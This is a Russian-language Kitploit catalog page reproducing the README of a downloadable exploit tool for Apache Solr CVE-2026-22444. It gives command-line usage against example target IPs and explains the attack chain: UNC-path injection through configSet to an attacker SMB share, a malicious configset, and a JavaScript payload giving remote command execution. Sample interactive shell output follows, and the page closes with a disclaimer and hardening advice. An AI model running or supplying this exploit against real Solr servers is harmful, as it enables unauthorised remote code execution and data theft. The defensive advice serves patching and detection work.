Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22444 — Эксплойт для Apache Solr CVE-2026-22444, использующий внедрение UNC-пути и SMB-сервер для достижения удалённого выполнения кода через вредоносный configset и JavaScript-нагрузку. | Kitploit
Инструменты/GitHubGitHub/bfdfhdsfdd-crypto/cve-2026-22444
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubbfdfhdsfdd-crypto/cve-2026-22444

CVE-2026-22444

Эксплойт для Apache Solr CVE-2026-22444, использующий внедрение UNC-пути и SMB-сервер для достижения удалённого выполнения кода через вредоносный configset и JavaScript-нагрузку.

Репозиторий
7 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22444

Уязвимость проверки UNC-путей в Apache Solr

Обзор

CVE-2026-22444 — это уязвимость безопасности, затрагивающая Apache Solr, публично раскрытая примерно 20 января 2026 года. Уязвимость вызвана недостаточной проверкой входных данных (CWE-20: Improper Input Validation) в API "create core" Apache Solr для некоторых параметров API, что позволяет злоумышленнику обходить правила безопасности, когда Solr работает в режиме "standalone", что может привести к утечке данных, удалённому выполнению кода (RCE) или раскрытию NTLM-хэшей.

В частности, если в Solr не включена аутентификация или пользователь имеет разрешение на создание ядер, злоумышленник может злоупотребить этим API с помощью специально сформированных запросов для доступа к защищённым файлам или выполнения вредоносных действий.

Информация о раскрытии

Уязвимость была обнаружена и сообщена в Apache в 2025 году, а затем публично раскрыта в списке рассылки oss-security:

Официальное объявление: https://www.openwall.com/lists/oss-security/2026/01/20/5

Технические детали

Уязвимость существует в CoreContainer.java, где конструктор CoreDescriptor выполняет сетевые операции до проверки UNC-пути:

  • instancePath.toAbsolutePath() может разрешать UNC-пути через сеть
  • Проверка Files.exists() выполняет сетевые вызовы
  • Files.newInputStream() выполняет сетевое чтение
  • Проверка пути через assertPathAllowed() происходит только после этих операций
  • Хронология

    • 2025-08-20: Уязвимость обнаружена и сообщена в Apache
    • 2026-01-20: Публичное раскрытие

    Содержимое репозитория

    • exploit.py — скрипт эксплуатации (proof-of-concept)
    • files/ — вспомогательные файлы, необходимые для эксплуатации (configset)
      • rce.js — JavaScript payload для удалённого выполнения кода
      • conf/ — файлы конфигурации Solr
        • solrconfig.xml — определяет вредоносную цепочку обработчиков обновлений
        • schema.xml — определение схемы Solr
        • managed-schema — управляемый файл схемы
    • requirements.txt — зависимости Python

    Инструкция по использованию

    Требования к окружению

    • Python 3.6+
    • Целевая система должна запускать Apache Solr (Windows, автономный режим)
    • В целевом Solr не включена аутентификация, или злоумышленник имеет разрешение на создание ядер

    Установка зависимостей

    root@kitploit:~
    pip install -r requirements.txt
    

    Зависимости включают:

    • requests>=2.25.0 — для HTTP-запросов
    • impacket>=0.10.0 — для создания SMB-сервера

    Базовое использование

    1. Базовая атака (автоматическое определение локального IP)

    root@kitploit:~
    python3 exploit.py <целевой_IP>
    

    Пример:

    root@kitploit:~
    python3 exploit.py 192.168.1.100
    

    2. Указание порта Solr

    root@kitploit:~
    python3 exploit.py <целевой_IP> --port <порт>
    

    Пример:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --port 8983
    

    3. Указание конфигурации SMB-сервера

    root@kitploit:~
    python3 exploit.py <целевой_IP> --smb-host <IP_SMB_сервера> --smb-port <порт_SMB>
    

    Пример:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
    

    4. Пользовательское имя SMB-шары

    root@kitploit:~
    python3 exploit.py <целевой_IP> --share-name <имя_шары>
    

    Пример:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --share-name myshare
    

    Описание аргументов командной строки

    root@kitploit:~
    Позиционные аргументы:
      target_host           IP-адрес целевого сервера Solr
    
    Необязательные аргументы:
      -h, --help            Показать справочное сообщение и выйти
      --port, -p PORT       Порт сервера Solr (по умолчанию: 8983)
      --smb-host SMB_HOST   IP SMB-сервера (по умолчанию: автоматическое определение локального IP)
      --smb-port SMB_PORT   Порт SMB-сервера (по умолчанию: 445)
      --share-name SHARE    Имя SMB-шары (по умолчанию: malicious)
    

    Процесс атаки

    1. Запуск SMB-сервера: скрипт запускает локальный SMB-сервер, предоставляющий общий доступ к каталогу files
    2. Создание вредоносного ядра: отправка запроса на создание ядра целевому Solr с указанием вредоносного configset на SMB-сервере
    3. Запуск payload: Solr загружает файлы конфигурации с SMB-сервера, содержащие вредоносный JavaScript-код
    4. Выполнение команд: запуск JavaScript payload путём отправки запроса на обновление
    5. Интерактивная оболочка: после успешной эксплуатации предоставляется интерактивная среда выполнения команд

    Использование интерактивной оболочки

    После успешной эксплуатации скрипт предоставляет интерактивную оболочку:

    root@kitploit:~
    solr> whoami
    [+] exit_code: 0, status: success
    --- stdout ---
    desktop-abc123\user
    
    solr> dir
    [+] exit_code: 0, status: success
    --- stdout ---
    Volume in drive C has no label.
    ...
    
    solr> exit
    [*] exiting shell...
    

    Поддерживаемые команды:

    • Любая команда Windows CMD
    • exit или quit — выход из интерактивной оболочки
    • Ctrl+C — прерывание и выход

    Принцип работы

    Уязвимость использует следующую цепочку технологий:

    1. Внедрение UNC-пути: внедрение UNC-пути через параметр configSet (например, //attacker-ip/share)
    2. SMB-сервер: размещение вредоносных файлов конфигурации Solr
    3. JavaScript RCE: использование StatelessScriptUpdateProcessorFactory Solr для выполнения JavaScript-кода
    4. Выполнение команд: выполнение произвольных команд на целевой системе через Java Runtime API

    Примеры расширенного использования

    Пример с полными параметрами

    root@kitploit:~
    python3 exploit.py 192.168.35.31 \
      --port 8983 \
      --smb-host 192.168.35.50 \
      --smb-port 445 \
      --share-name exploit
    

    Описание структуры файлов

    root@kitploit:~
    CVE-2026-22444/
    ├── exploit.py              # Основной скрипт эксплуатации
    ├── requirements.txt        # Зависимости Python
    ├── files/                  # Вредоносный configset
    │   ├── rce.js             # JavaScript payload для RCE
    │   └── conf/              # Каталог конфигурации Solr
    │       ├── solrconfig.xml # Настройка вредоносного обработчика обновлений
    │       ├── schema.xml     # Определение схемы
    │       └── managed-schema # Управляемая схема
    └── README.md              # Этот файл
    

    Описание payload

    rce.js: это основной payload для RCE, который:

    • Перехватывает операции обновления Solr (add, delete, commit, rollback)
    • Получает параметр cmd из параметров запроса
    • Выполняет команды с помощью Java Runtime API
    • Захватывает stdout и stderr
    • Возвращает результат выполнения и код выхода

    solrconfig.xml: настраивает Solr на использование вредоносной цепочки обработчиков обновлений:

    • Определяет цепочку обработчиков обновлений rce-chain
    • Ссылается на скрипт rce.js
    • Устанавливает обработчик запросов /update для использования этой цепочки

    Важные замечания

    ⚠️ Предупреждение: этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование этого инструмента для атак на системы незаконно.

    • Убедитесь, что получено явное письменное разрешение перед использованием
    • Используйте только в тестовых средах или средах с законным разрешением
    • Не используйте на производственных системах, кроме контролируемых сред пентеста
    • Пользователь несёт ответственность за свои действия

    Рекомендации по защите

    1. Обновите Solr: обновите Apache Solr до версии, в которой исправлена эта уязвимость
    2. Включите аутентификацию: убедитесь, что в Solr включён механизм строгой аутентификации
    3. Ограничьте права на создание ядер: предоставляйте разрешение на создание ядер только доверенным пользователям
    4. Сетевая изоляция: разверните Solr в защищённой сетевой среде
    5. Правила брандмауэра: ограничьте доступ к интерфейсу управления Solr
    6. Мониторинг аномальной активности: отслеживайте доступ к UNC-путям и аномальные запросы на создание ядер

    Справочные ссылки

    • Официальный сайт Apache Solr
    • Объявление в списке рассылки OSS Security
    • CWE-20: Improper Input Validation

    Лицензия

    Этот проект распространяется под лицензией MIT. Подробную информацию см. в файле LICENSE.

    Отказ от ответственности

    Этот инструмент и информация предоставлены исключительно для исследований в области безопасности и образовательных целей. Автор не несёт ответственности за любой ущерб, причинённый в результате злоупотребления этой информацией или инструментом. Пользователь должен соблюдать все применимые законы и нормативные акты и получить соответствующее разрешение перед использованием.

    Скачать инструмент